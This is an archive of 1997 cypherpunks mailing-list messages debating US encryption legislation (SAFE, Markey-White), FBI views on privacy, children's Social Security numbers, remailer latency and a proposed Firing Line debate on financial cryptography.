For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Syniker@aol.com
Date: Fri, 26 Sep 1997 10:54:55 +0800
To: declan@well.com
Subject: Re: Plea from a parent who wants to keep their kid free of SSNs
Message-ID: <970925224018_-1964822361@emout15.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



Sorry that I'm not of any faith, so can't identify that way...
and I've never let any children live long enough to get 'number's for them...

But I'm totally empathetic with your argument...
and agree with you completely... this is a sucking situation...
and it's NOT right.

I can only say press on in your complaints... the dreadful
IRS 'may' be undergoing some changes real soon...
and you may be able to take advantage...

What I'd personally do -- is shine the deductions before I'd ever
give in to these bastards...
and instead -- short the US Treasury markets...
and smile all the way to the bank with my just rewards....

Best to you... hope someone here can help better.... LarryM.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 26 Sep 1997 11:37:22 +0800
To: cypherpunks@toad.com
Subject: Re: The Commerce committee votes are up at crypto.com
In-Reply-To: <199709252156.RAA00518@panix3.panix.com>
Message-ID: <v03007800b050bc170188@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



Thanks, Shabbir, for putting this vital information online. But I'm a
little puzzled. I fear the CDT/VTW crypto.com web site may be misleading.

You say, for instance, that opposing SAFE yesterday was a vote "against
Internet privacy" and "against passing the SAFE bill out of committee."
That's not true. The Markey-White-amended bill the committee approved
yesterday was not the SAFE bill. It was a deviant version with important
differences from SAFE.

The Markey-White amendment includes: the doubled crypto-in-a-crime
penalties (10-20 years!), the sop to eventual mandatory key recovery by
including liability immunity for turning over keys to the Feds or the
sheriff of Podunk County, the bogus NETcenter that effectively gives the
NSA a statutory basis for domestic evildoing, etc. (Markey wanted to take
credit for killing the original SAFE. He told the Washington Post "after
the vote" that the original, better, Goodlatte SAFE "no longer exists as a
political option." That's right -- thanks to his own amendment...)

The second and third votes are essentially the same: should the above
provisions be in the Commerce committee of the bill. But why do you avoid
taking a position on whether the second vote on Markey-White was good or
bad?

If the second description was to avoid taking a position on Markey-White,
it doesn't work. You say in your third description that a vote for the
amended Markey-White bill was a good one. Why would CDT/VTW endorse such
disturbing legislation? (And not admit it?) To what extent was CDT/VTW
involved in drafting Markey-White and to what extent did you encourage
committee members to vote for it?

Also, the description for the third vote is misleading by itself. It just
says "report SAFE" when it should say "report SAFE with Markey-White
provisions" out of committee.

And, given these problems with Markey-White, why is the CDT/VTW crypto.com
site counting a vote for the Markey-White-amended bill as a vote for
"Internet privacy?" I should think that given the problems -- such as
doubling of crypto-in-a-crime and sop towards mandatory key recovery --
that a vote against the Markey-White-amended bill is a //good// vote, not
one against Net-privacy.

If a legislator wanted to vote for Internet freedom and reject deviant
bills, he should have voted against Oxley, Markey-White, and against
passing the bill with Markey-White out of committee yesterday. (That would
have left the cleaner Judiciary committee version of SAFE as a more likely
option.) Rep. Brown, for instance, did just that -- yet you tar him as
against Internet freedoms.

Go figure.

-Declan


crypto.com says:

>Voted in favor of Internet privacy at the full
>Commerce committee vote on Sep 24 1997. This vote was
>against attaching the Oxley-Manton 'Big Brother'
>amendment to SAFE.
>
>Voted against the Markey-White amendment at the full
>Commerce committee vote on Sep 24 1997. The vote was
>against attaching the Markey-White amendment to SAFE.
>
>Voted against Internet privacy at the full Commerce
>committee vote on Sep 24 1997. The vote was against
>passing the SAFE bill out of committee.



At 17:56 -0400 9/25/97, Shabbir J. Safdar wrote:
>Last night's votes on SAFE in the Commerce committee are in place at
>http://www.crypto.com/member/
>
>Simply select the member of Congress you're curious about, either by zip code
>or by state, and you can see how they voted in the three Commerce votes
>last night.  Then, you can call and yell or send kudos.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Bishop <lists@agape.dyn.ml.org>
Date: Fri, 26 Sep 1997 12:39:29 +0800
To: cypherpunks@toad.com
Subject: Re: Plea from a parent who wants to keep their kid free of SSNs
In-Reply-To: <v03007884b050d6ca8957@[207.94.249.39]>
Message-ID: <Pine.LNX.3.96.970925232614.18147C-100000@agape.dyn.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Well, seeing how Mr. Treibs is not a Nazi, satan worshipper, or pagan
fundamentalist, I doubt that the ACLU will want much to do with him.

	- John Bishop

Please encrypt all important correspondance with PGP.  My key available by
sending a blank message to "moonwick-pgp@iquest.net".  All unsolicited
e-mail sent to any of my addresses will incur a US$500 downloading &
deletion charge.

	"Real men don't need backups!"
		- Linus Torvalds, author of Linux, while rewriting the
		  e2fs filesystem code.

On Thu, 25 Sep 1997, Bill Frantz wrote:

> At 12:00 PM -0700 9/25/97, Declan McCullagh forwarded:
> >---------- Forwarded message ----------
> >Date: Tue, 23 Sep 1997 08:12:58 +0000
> >From: "David C. Treibs" <sirdavid@ktc.com>
> >To: "(David C. Treibs)" < (SirDavid@ktc.com)>
> >Subject: Need Help with IRS Problems
> >
> >                                        David C. Treibs
> >                                        Fredericksburg, TX 78624
> >                                        sirdavid@ktc.com
> >
> >Hi.
> >
> >We are in trouble with the IRS, and we need help.
> >
> >For religious reasons (explained below), we do not have Social Security
> >numbers for our children, the oldest of 4 being 5 years old.
> 
> This sounds like one for the ACLU.  They frequently take religious freedom
> cases.
> 
> 
> -------------------------------------------------------------------------
> Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
> (408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
> frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David HM Spector <spector@zeitgeist.com>
Date: Fri, 26 Sep 1997 12:06:05 +0800
To: cypherpunks@cyberpass.net
Subject: Chutzpah!  FBI Calls Privacy Extremists Elitist
Message-ID: <199709260354.XAA01881@wintermute.ny.zeitgeist.com>
MIME-Version: 1.0
Content-Type: text/plain





FBI Calls Privacy Extremists Elitist
(09/25/97; 4:30 p.m. EDT)
By David Braun, TechWire 

MONTREAL -- Extremist positions on electronic encryption are not only
threatening to normal law enforcement, but they are also elitist and
nondemocratic, said Alan McDonald, a senior counsel member with the
Federal Bureau of Investigation, at the International Conference on
Privacy in Montreal on Thursday.

Addressing a workshop on how far society should go in trading off
privacy for effective law enforcement, McDonald said privacy activists
had fought any balance in proposed encryption legislation.

"Such absolute positions threaten not only electronic searches but
also conventional searches for data that has been encrypted," McDonald
said.

Absolute positions on privacy were "pernicious on several levels,"
McDonald added.

The absolute positions "handcuffed" law enforcement while also raising
rights for citizens to levels that were unreasonable and that would
have been foreign to the nation's founding fathers. Extreme privacy
positions were ultimately elitist and nondemocratic in that they
presumed the views of a knowing privacy cognoscenti should pre-empt
the views of the nation's elected officials and the Supreme Court,
McDonald said.

McDonald's statements came a day after a key committee of the
U.S. House of Representatives rejected an FBI-supported proposal that
would have compelled the makers of encryption products to include
features that would enable law enforcement agencies to gain immediate
and, if necessary, covert access to unscramble any coded data.

Extremists presumed that the citizens could not trust the elected
government and the Supreme Court to make decisions or to correct
mistakes if any are made, McDonald said.

"Based on a theory of potential government abuse, important tools
commonly used are to be restricted or embargoed," McDonald said.

McDonald said efforts in the United States to enhance effective law
enforcement search and seizure capabilities had proceeded without
harming legitimate privacy concerns.

In the area of electronic surveillance, McDonald said, privacy
enhancements had frequently received treatment "superior to that
required under our Constitution."

With minor exceptions, neither the laws nor the cases decided
regarding effective law enforcement or privacy had come about with the
view that either were absolute in their nature, McDonald said. Law
enforcement measures had been tempered by considerations of personal
privacy, and privacy laws had been balanced with effective law
enforcement.

Notwithstanding the substantial threats posed by national and
international organized crime, drug cartels, and terrorists, the
United States had remained true to its Constitutional moorings, and
its commitment to a system of ordered liberties, McDonald said.

"When people don't know much about electronic surveillance, they are
fearful of it. But when they know Congress passed laws and the Supreme
Court reviewed them and that there are numerous constraints and
procedures, then it makes sense to them. It seems rational and
balanced," McDonald said.



-- 
-------------------------------------------------------------------------------
David HM Spector                                         spector@zeitgeist.com
Network Design & Infrastructure Security                 voice: +1 212.580.7193
Amateur Radio: W2DHM (ex-N2BCA) (ARRL life member)       GridSquare: FN30AS
-.-. --- -. -. . -.-. -  .-- .. - ....  .- -- .- - . ..- .-.  .-. .- -.. .. ---
"New and stirring things are belittled because if they are not belittled, 
the humiliating question arises, 'Why then are you not taking part in them?'"
                                                        --H. G. Wells





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 26 Sep 1997 06:18:40 +0800
To: cypherpunks@cyberpass.net
Subject: Remailer Attack
Message-ID: <199709252158.XAA21054@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

According to Raph's remailer stats, the remailers have widely varying
latencies.  Given that only a few remailers have latencies which are
acceptably low, the list of usable remailers is quite low.

If the user of the remailer, Monty Cantsin for example, signs his
messages, a fairly accurate measure of total transit time is obtained.
The total transit time gives clues to the remailers which were
actually used in the chain.  In an of itself, this may not comprise
the user, but combined with other weaknesses it will cause the
attacker to be significantly more confident of identification
hypotheses.

The remailers should all have about the same latency.  0 seconds seems
like a good Schelling point.  What would it take to reduce remailer
latency to under 60 seconds for most of the remailers?  Do people need
old 486s to dedicate to the task?  Do they need money?  Better
software?

If you operate a remailer, please tell us what you need to make it
really work well.  Perhaps the rest of us can help make it happen.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNCrG4paWtjSmRH/5AQFuAAf+ID6TSjoUV1sVehzW6DoqVXREyO/fR4Uw
H+W6QCiTOQaRhTD1Z6WSaL9FOaBJ5aSHCdLzKy9eIvagXsYR+eqVBdO0oSuDaloc
BYSN+QXSKvMEuEotkCF4RicRoENlTmD0Qcrz4KvvW+d+jRxyxejs9O0HqDeTq9y/
KpBtq8CytpEMmGc6VSHuAX90qwJTtHUk/k4ulXU7v4xMmBLu1HpS/9M5h7mooybC
8qwVJKswAMI4wTB5FlBj/+b8txkCzMdqJkFdLEYu+LAGZfkB96W9uRU+eGekCHY2
6iycxv+m4r7wXPbP9A83Y6UnP4nkZBW86y7Du8NjVWGpscCfNjFF3g==
=QjE1
-----END PGP SIGNATURE-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 26 Sep 1997 06:37:44 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: Why the White amendment is a good idea
Message-ID: <199709252215.AAA22660@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:36 PM 9/25/97 -0400, Jeff Barber wrote:
>Follow your own advice.  All this crap about NETCenter has nothing 
>to do with our civil liberties.  Whether NETCenter is a good idea or 
>not is a completely separable issue (which I see Tim May just covered
>thoroughly), and is merely a fig leaf offered to spineless
>Congresscritters to deflect some of the "criticism" they might
>otherwise be subjected to on the law enforcement "issue".  The fact
>that White offers it shows that he is just as spineless.
>
>We shouldn't have to "trick" Congress into doing the right thing, 
>or provide cover for them either.

**BZZZT** WRONG ANSWER!

>As you say, though, let's keep this debate framed with our criteria:
>Do you, Congressman, support the constitutional guarantee of free
>speech, or not?

How loudly do we have to shout it?

**CONGRESS DOES NOT SUPPORT THE CONSTITUION.  PERIOD.**  

They prove it time and time again.  Recent example:  they wouldn't have
passed the CDA 94-6! if they were worried about the Constitution.

You call the congressvermin "spineless".  They do hate that label, and
voting "tough on crime, tough on drugs," is how they avoid it.  With
Lying Freeh telling them that evil Mexican drug lords use crypto to
outclever the FBI (true), and therefore a vote for GAKked crypto is a
vote that's tough on crime (false), they can't rush to vote "yea" fast
enough.  It doesn't matter if the vote doesn't make sense, or violates
the Constitution eight ways from Sunday, the vote is there only to 
provide the illusion to the voters:  "Hey, I'm TOUGH on CRIME."

You better learn that Congress is not there to support the Constitution.
Any part of it.  It's not in the part of their job description that gets
them reelected.  Constitutional issues do NOT attract voters.  Only SIX
senators voted against the Telecom Reform Act, the one that contained
the CDA.  My senator is one of them, and I know that he is a lame duck not
seeking re-election.  So, don't go dangling Constitutional challenges in
front of Congress.  There's not enough bait on that hook.

Fighting unemployment attracts voters.  Fighting crime attracts voters.
But they couldn't trample hard enough on our freedom of speech when the voters
heard about child porn on the net.  And now that evil Mexican drug lords use
encryption, well, I'll let you connect the last two dots.

We can't afford to simply frame the debate on Constitutional issues.  The
number of voters looking at them through that frame won't get them reelected.

Shame on us cowardly Americans.  (Yeah, _us_.  I'm hiding behind a remailer.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Fri, 26 Sep 1997 15:44:48 +0800
To: cypherpunks@cyberpass.net
Subject: re: Chutzpah!  FBI Calls Privacy Extremists Elitist
Message-ID: <v03102801b05110c4e302@[17.219.103.63]>
MIME-Version: 1.0
Content-Type: text/plain



>Addressing a workshop on how far society should go in trading off
>privacy for effective law enforcement, McDonald said privacy activists
>had fought any balance in proposed encryption legislation.

> ... Extreme privacy
>positions were ultimately elitist and nondemocratic in that they
>presumed the views of a knowing privacy cognoscenti should pre-empt
>the views of the nation's elected officials and the Supreme Court,
>McDonald said.

This reminds me of the state legislature that tried to change the
value of pi to something simpler in order to help students
struggling with their homework. Fortunately, someone had the
good sense to bring in a "knowing mathematics cognoscenti" to
pound some sense into the politicians.

>Extremists presumed that the citizens could not trust the elected
>government and the Supreme Court to make decisions or to correct
>mistakes if any are made, McDonald said.

Where is Thomas Jefferson when you really need him?

Martin Minow
minow@apple.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 26 Sep 1997 12:45:14 +0800
To: cryptography@c2.net
Subject: Special Firing Line Debate on the regulation of financial  encryption and internet commerce?
Message-ID: <v03110735b050e84d8371@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: rah@pop.sneaker.net
Mime-Version: 1.0
Date: Fri, 19 Sep 1997 14:16:43 -0400
To: dcsb@ai.mit.edu
From: Robert Hettinga <rah@shipwright.com>
Subject: Special Firing Line Debate on the regulation of financial
 encryption and internet commerce?
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Robert Hettinga <rah@shipwright.com>


--- begin forwarded text


X-Sender: rah@pop.sneaker.net
Mime-Version: 1.0
Date: Fri, 19 Sep 1997 13:44:39 -0400
To:Somebody at SCTV
From: Robert Hettinga <rah@shipwright.com>
Subject: Special Firing Line Debate on the regulation of financial
 encryption and internet commerce?
Cc: rah@shipwright.com, Rodney Thayer <rodney@sabletech.com>

-----BEGIN PGP SIGNED MESSAGE-----

<Somebody>,

I talked to someone at WGBH, and they said that Firing Line is produced
there at SCETV. Since I couldn't find an address for Warren Stibel(sp?)
Productions on the net anywhere, I figure if I send this to you, as
<identifying information elided>, that you might be able to forward
the following to the appropropriate folks who could help.

Thanks for your best efforts on our behalf,

Robert Hettinga
Moderator,
The Digital Commerce Society of Boston

- -------------

To Whom it May Concern,


My name is Robert Hettinga, and I'm the moderator of the Digital Commerce
Society of Boston, an informal group of about 300 or so people involved in
digital commerce and financial cryptography who hang out together on an
internet email list and meet once a month for lunch and a speaker at the
downtown Harvard Club, here in Boston. A sister group is just getting
started in New York, and there have been rumblings about doing it in
Washington, as well.

We've been doing this for a little over two years now, and we've had lots of
interesting speakers, on everything from the gory guts of internet
transaction and cryptography protocols to the effect of the internet on
market efficiency, to, of course, government encryption policy, which is why
I'm writing you this.


A couple of months ago, the DCSB program committee and I decided that, given
the increasing government interest in encryption on the net, now evidenced
by two or three bills, and a lot of legislative skulduggery the past couple
of weeks, we thought it would be a good idea to shed a little light on the
situation with a debate on the subject. My first thought, of course, was
Mr. Buckley's famous Firing Line Special Debates.

In light of recent events, my program committee has encouraged me, and
Rodney Thayer, a member of the committee and a well known cryptographic
developer, to persue the idea more vigorously. :-)


Most of the discussions surrounding the control of encryption technology on
the net focus on the issue of privacy, and privacy, like, say, flight, is an
inherent good. Well, privacy is to most people, anyway...

We at DCSB believe, however, that the most significant impact of
cryptography on the net is not just privacy, it's economics. That is, it's
not "gee, we can fly" which made flight economically useful, or even
military use of aviation technology, but commercial activities like
barnstorming, mail planes, aviation racing, the DC3, and, eventually, coach
fare to Cleveland. :-). The same thing is true with encryption on the
internet. Most of us at DCSB believe that financial encryption on a
ubiquitous internet will prove to be the very cheapest way to effect any
transaction whatsoever, from pico-payments for internet switching, to
gigadollar project-bond issues and foriegn currency transactions.
(Actually, lots of us think there'll be private currencies, but that's
another story...)


Let me give you a pretty over-the-top example of what financial encryption
technology can do right now, without any further science. There is actual
code running which can do this.

Strong financial cryptography allows you to create unforgeable
cryptographic objects. It allows you to assign value to one of those
objects, just like an unforgeable dollar bill can be assigned the value of
a dollar. Because that object can be tested independantly of the person who
gave it to you (just like you can inspect a dollar bill), you don't care
who gives you money, as long as their money's good.

Notice that all forms of modern money, checks, debit and credit cards,
brokerage accounts, wire transfers and the like, require you to know
*who* you're doing business with, so that if they send you a fraudulent
debit or credit, you, or somebody you're associated with, can hunt them
down and send them to jail. None of that, including the jail part :-),
representing the force-monopoly of the modern nation state, is necessary
when you use these cryptographic objects to buy and sell with. Some
of us have even come to call these cryptographic objects "digital bearer
certificates", after the bearer bonds of not so long ago.

This type of financial encryption technology, some of us claim, will
probably be 1000 to 10,000 times cheaper to use, on a per-transaction basis,
than normal book entry settlement -- the kind you currently use when you
send your credit card over the net. The technology also allows us to do
cash settled business, at any distance, for anything you can send down a
wire: movies, words, music, legal advice, surgery instructions, whatever.

That's important, because old fashioned bearer bonds, which settled
instantly, were made obsolete not by tax policy (economics creates policy,
not the other way) as liberals would have you believe :-), but by the
economics of their transport and storage. That is, you couldn't shove a
bearer bond or a large value piece of cash down a wire to settle a trade.
The only way to do that was with book-entries, debits and credits, in other
words, and to do *that*, you had to biometrically identify all parties to a
trade, and, more to the point, you have to wait for the transaction to
percolate through the books of all the trade's parties and their
intermediaries in order for the trade to clear and settle.

This requirement for biometric identity and transaction logging is, of
course, at the root of all our present concerns about financial privacy, but
you can now see that we've put the cart before the horse: our privacy, or
lack of it, is directly caused by the efficiency of our transaction
mechanisms over paper methods. If there was a strictly private way to do
the same thing with the same or greater improvement that book-entry
settlement had over paper, it would happen, and lots of financial privacy
would result. In addition, if we didn't need the government as the ultimate
"error-handler" in our transaction protocols, we wouldn't "need" government
to regulate our markets -- and the rest of our lives -- by extension.

Now, as you've seen, digital bearer settlement opens up a pretty large can
of worms, but they're libertarian worms, :-), as the cover story of the
September 8th issue of Forbes points out.


A story, by the way, I had a hand in putting together, as Josh McHugh, the
Forbes reporter, pretty much told the story as I told it to him, and
interviewed the people I pointed him to. For my efforts, I even found
myself mentioned once in a sidebar with Walter Wriston and Alan Greenspan
;-). My mother, who, at 75, still sits on the New Mexico State Republican
Committee, was pretty happy about that. She's been wondering why I've been
wasting all this time on the net... :-).

Josh contacted me after reading a story in Wired's July issue on the First
International Conference on Financial Cryptography (FC97), which I helped
organize on Anguilla this past February. FC97 was covered by NTT Japan, the
New York Times, the Financial Times, Institutional Investor, and, of course,
(with yet another single mention in thousands of words ;-)) Wired. The web
site for FC98, this year's conference, is <http:www.fc98.ai>, if you'd like
to see that.


Anyway, I think that I fairly speak for the DCSB membership when I say that
government restrictions on cryptography, (and by extension, financial
cryptography) are restrictions on economics, which, communism has shown us,
policy makers restrict at their own peril. "Reality is not Optional", to
quote the title of one of Thomas Sowell's Forbes columns.


And, so, here's the debate I'd like to have. On the left, defenders of the
state's right to control crime and espionage (and its population), with
crypto-knowlegable people from law enforcement, the intellegence community
and government to back them up. And on the right, some well-known
freemarketers and crypto- um, anarchists. :-). Walter Wriston, former
chairman of Citicorp, for example, would be a good choice, so would David
Friedman, son of Milton. Even Phyllis Schlafly has articulated a strong
pro-cryptography position, though on first amendment grounds (which, by the
way, is the single thread keeping strong cryptography from outright
prohibition at the moment). I think that, given the last couple of articles
in Forbes on cryptography, (and the entire contents of Forbes ASAP every
month ;-)) Mr. Forbes would also agree to helping with the debate.

And Mr. Buckley, of course. I think, anyway. He has made some very strong
defenses of social conservativism over the years, but I expect that he
would come down in favor of deregulating strong cryptography, especially
for financial and economic reasons.


DCSB proposes a Special Firing Line Debate, in Faneuil Hall, site of
debates during the Revolution, and the venue for numerous modern debates
like this one.

Essentially, we'd get the room and the crowd, get you up to speed on the
issues if you'd like, and point you to some good people on both sides of the
issue to fill out the panel if you want them. You guys organize the debate
itself, and bring the cameras.


What can we do to help you guys make this happen? How soon can we get
started? :-).

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBNCK538UCGwxmWcHhAQHayggAk2u1w8uxrS1f42Sstk8GG3RMxocW6PCy
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+7XhW/snYHyNciki18+pC9OHkpWRLXox7F0JYVylOOFd3VhwkLeIbw+JZ54SI1LM
4rWikFOz9LKvW3M+3lkxHi3p1AZppNZ3SonvwbBCeCGHoNQNn9c/O1Z90sNXEg89
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bNRnrqHrjIcbFQvO8+IMkliTxZFpY3YRs2UDb/0fsYtTv5p1vt7UsA==
=dFOI
-----END PGP SIGNATURE-----

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/



For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 26 Sep 1997 12:44:55 +0800
To: cypherpunks@cyberpass.net
Subject: FIRING LINE DEBATE
Message-ID: <v03110733b050e7d06618@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: rah@pop.sneaker.net
Mime-Version: 1.0
Date: Thu, 25 Sep 1997 21:48:02 -0400
To: dcsb@ai.mit.edu
From: Robert Hettinga <rah@shipwright.com>
Subject: FIRING LINE DEBATE
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Robert Hettinga <rah@shipwright.com>

Now, *this* is fun...

Cheers,
Bob



--- begin forwarded text


From: Some Producer :-)
Date: Thu, 25 Sep 1997 18:55:13 -0400 (EDT)
To: rah@shipwright.com
Subject: FIRING LINE DEBATE

Rodney,

Thank you for your e-mail in regards to having a FIRING LINE DEBATE in
Boston.  I read your proposal abd I to feel it would make an interesting
debate.  I'm meeting with the producer and Mr. Buckley next week and will
show the your proposal.
Whenever you get a chance please write back where you can be reached.  If you
need to reach me please don't hesitate to call <phone number snipped>.

Sincerely,

<Some Producer's .sig>

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/



For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 26 Sep 1997 12:47:51 +0800
To: "John Smith" <jsmith58@hotmail.com>
Subject: Re: Exports and criminalizing crypto
In-Reply-To: <19970925215418.1688.qmail@hotmail.com>
Message-ID: <v03007800b050e4714df3@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



At 14:54 -0700 9/25/97, John Smith wrote:
>passed, remember?  FBI's bill did not.  And all the opposition
>came together in a few days.  Nobody was ready for this.  Next year
>there will be more time to organize, and the opposition should be
>even stronger.

Of course the CDA was not necessary for national security. It would not
prevent the U.S. Capitol building from being blown up.

>That depends.  The law may still be good.  Who cares about this
>crypto center.  That's just another boondoggle.  The main thing is
>getting the export laws changed.

The main thing is preserving freedoms, both to use and export crypto.
Restrictions on use are not reasonable tradeoffs for relaxation of export
ctrls.

Also the coalition that came together can be fragmented if the domestic
restrictions are more subtle or go after individuals instead of businesses.

Your blind faith in the U.S. Congress is touching, but hardly realistic.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul Spirito" <berezina@qed.net>
Date: Fri, 26 Sep 1997 13:09:57 +0800
To: "Brock N. Meeks" <declan@well.com>
Subject: Re: How the FBI/NSA forces can further twist SAFE
Message-ID: <19970926050152253.AAA258@antigone>
MIME-Version: 1.0
Content-Type: text/plain



From: Declan McCullagh <declan@well.com>:

>>
That's why it may take close to a year -- perhaps until next summer -- for
Congress to finish compromising away your rights to use whatever encryption
software you like.
<<

And next year *is* an election year. If nothing awful happens, it shouldn't be much of an issue, but sooner or later there'll be a big bang made by terrorists who've used crypto in the plotting, & then anyone who opposed the FBI line will get drubbed, perhaps fatally (i.e. they'll lose their seat). The single "best" reason for congresscritters to support GAK is CYA; supporting American business isn't a sufficient counterforce, especially when "big business" has become a dirty word for much of the American electorate, the affected companies seem to be doing damn well, & they aren't old pros at lobbying. Dead babies are more dramatic than annual reports (even if -- as we all know -- GAK will do little or nothing to prevent terrorism &c. Fairness counts for little in political campaigns...)

I agree with Declan -- obstructionism is the only way to go. Let's review the current situation:

a) Crypto know-how is globally distributed & impossible to annihilate.
b) There are no domestic US restrictions on encryption development or use.
c) There are onerous US restrictions of export of encryption software.

>From a cyberlibertarian/privacy advocate viewpoint this isn't so bad. It's true that lifting of export restrictions would get better crypto into more hands more quickly, but one doesn't have to be a Libertarian to believe that the market will fill that gap -- with non-US firms (possibly in collaboration with US ones) developing & marketing the technology; indeed, it's already happening.

>From a US business viewpoint, the situation *is* bad. There's a temptation to sell out b) in order to improve c). I'm not conspiracy-minded, but one should beware of differences in motive, particularly as we enter a convoluted, lobbying-heavy phase. What makes me optimistic is that GAKed crypto isn't likely to sell. Other than that, we'd be doomed.

Hopefully, legislation can be delayed until foreign companies have widely deployed commercial strong crypto, & US companies are demonstrably (to the person in the street) feeling the pain. Then GAK will be obviously pointless and stupid. It'll cost US jobs, which hurts (me, as an American, most of whose friends are American), but it's the best we can hope for, I think.

Silicon Valley -- the Flint, Michigan of the year 2000?

Paul

ujgdejoxenotejotmbgtang ircpqbgluzstizg






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 26 Sep 1997 09:22:35 +0800
To: tcmay@got.net
Subject: throw away accounts? (was Re: Remailer Attack)
In-Reply-To: <v03102801b050a29e2f1f@[207.167.93.63]>
Message-ID: <199709260029.BAA00682@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim May <tcmay@got.net> writes:
> As to what is needed to generally improve the remailers, this has been
> discussed many times. Cf. my Cyphernomicon for some thoughts, c. 1994,
> which actually haven't changed much.
> 
> Generally, a bunch of things would be nice to have:
> 
> * throwaway accounts, and yet with some robustness or reputation capital
> backing them

We've kind of got throw away accounts recently, Ian Goldberg wrote a
perl script to open accounts and sendmail through a couple of the free
web based email services.

On the remailer operators list use of this script was discussed as an
alternative for remailer operators moving to `middleman' operation, or
closing down entirely in the face of threats.

There might even be a remailer or two using this ... perhaps some
remailer operators could fill us in.

Adam
-- 
Now officially an EAR violation...
Have *you* violated EAR today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 26 Sep 1997 09:19:41 +0800
To: jsmith58@hotmail.com
Subject: Re: Exports and criminalizing crypto
In-Reply-To: <19970925215418.1688.qmail@hotmail.com>
Message-ID: <199709260054.BAA00705@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




John Smith <jsmith58@hotmail.com> writes:
> Adam Back <aba@dcs.ex.ac.uk> writes:
